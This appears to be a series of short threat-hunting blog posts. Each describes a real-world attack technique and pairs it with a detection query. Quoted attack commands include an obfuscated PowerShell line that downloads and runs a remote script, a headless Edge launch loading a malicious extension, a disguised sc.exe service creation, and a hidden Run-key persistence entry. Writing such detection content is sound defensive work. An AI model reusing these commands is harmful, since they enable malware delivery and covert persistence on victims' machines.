Know Your Adversary

Hello everyone! Threat actors continue to actively use the EtherHiding technique, and today we'll look at another example of it in action. According to a report by LevelBlue , the attackers distributed malicious shortcut (.LNK) files. Interacting with these shortcuts resulted in the execution of an obfuscated PowerShell command, for example: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c $Se4n4GmJ=[System.Numerics.BigInteger]\7330349723455890650683895074414054;$fobLzAK0=[System.Numerics.BigInteger]\5070886814366709789648062014091648;$YrXdQd=$Se4n4GmJ - $fobLzAK0;for($bwusN=100+156;$YrXdQd -ne 0;$YrXdQd=$YrXdQd / $bwusN){$JZwuEnBA+=[char]\([int]\($YrXdQd % $bwusN));};iwr $JZwuEnBA -OutFile $env\:TEMP\lFdlPb.ps1 -UseBasicParsing; powershell -ep bypass -File $env\:TEMP\lFdlPb.ps1 Notice that the obfuscation leverages the BigInteger type, which by itself provides an opportunity for hunting: event_type: "processcreatewin" AND proc_file_path: "powe...

Hello everyone! Today we'll look at another interesting example of how attackers abuse the browser. This time, they used it to distract the victim. According to this report , to distract the user and buy the time needed for their scripts to execute properly, the attackers used the service fakeupdate[.]net , which displays a fake Windows update screen. To do this, the attackers launched Microsoft Edge in kiosk mode: start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen Of course, attackers can host similar pages on their own servers. Nevertheless, this browser launch mode provides an opportunity to hunt for suspicious activity using the following detection logic: event_type: "processcreatewin" AND proc_file_path: "msedge.exe" AND cmdline: ("kiosk" AND "fullscreen") See you soon!

Hello everyone! Today we'll look at a less common persistence technique used on compromised systems: Browser Extensions (T1176.001) . According to this report , the attackers used Microsoft Teams while impersonating IT staff to convince victims to visit a phishing website. These phishing sites delivered malicious scripts written in AutoHotKey, Batch, or PowerShell. The script extracted all components of the malware, including a Python backdoor and a browser extension. It also created a scheduled task that launched Microsoft Edge with the following command-line arguments: --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data\Recovery" --load-extension="%EXTENSION_DIR%" --no-first-run --disable-sync --headless=new As you can see, the attackers specified an alternative user data directory (--user-data-dir) and loaded a malicious browser extension (--load-extension). These command-line arguments can be used to hunt for suspicious activity: event_type: "proce...

Hello everyone! Attackers are increasingly using legitimate web services to host malicious files, and today we'll take a look at another example: Storj. According to this report, the attackers used malvertising to distribute the OXLOADER loader. To host the malicious payloads, they relied on the Storj service, for example: link[.]storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe As with other services of this kind, you can look for suspicious interactions with them using a query like: event_type: "dnsreq" AND dns_rname: "storjshare.io" Or you can simply block access to the service altogether - in that case, users won't be able to download the malicious files. See you soon!

Hello everyone!  Let's take a look at another example of how threat actors use interesting folders for masquarading as part of the Match Legitimate Resource Name or Location (T1036.005) technique.  Today's example is SmartRAT . If we look at the report, we'll immediately notice that the malware actively uses the following folders:  %APPDATA%\Microsoft\Diagnosis\ETW\  %ProgramData%\Microsoft\Diagnosis\ETW\  For example, the malware could create a service using the following command: "C:\Windows\system32\sc.exe" create MicrosoftEdgeUpdateCore binPath= "C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe" start= auto obj= LocalSystem DisplayName= "Windows Diagnostics ETW Service"  These are certainly not the most common locations for malware deployment, which makes them good candidates for threat hunting:  event_type: "processcreatewin" AND proc_file_path: "Microsoft\\Diagnosis\\ETW" See you soon!

Hello everyone! Today we'll talk about stealth and persistence in a compromised system, focusing on the following technique: Hidden Window (T1564.003) . I'm sure that searching for suspicious values in the Run registry key is part of your Threat Hunting routine. But sometimes attackers, while trying to stay hidden, actually help us detect malicious activity. For example, EtherRAT wrote to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth the following value: "C:\Windows\System32\conhost.exe" --headless "C:\Users\Bruno\AppData\Local\Adobe\Components\e8b3\node-v18.17.0-win-x64\node.exe" "C:\Users\Bruno\AppData\Local\Adobe\Components\e8b3\97f04949151a3819.js" As you can see, the attackers used conhost.exe with the --headless parameter to hide the window. But how often would such a command chain be legitimately written to the Run key? Of course, almost never. That gives us another detection opportunity: event_type: ...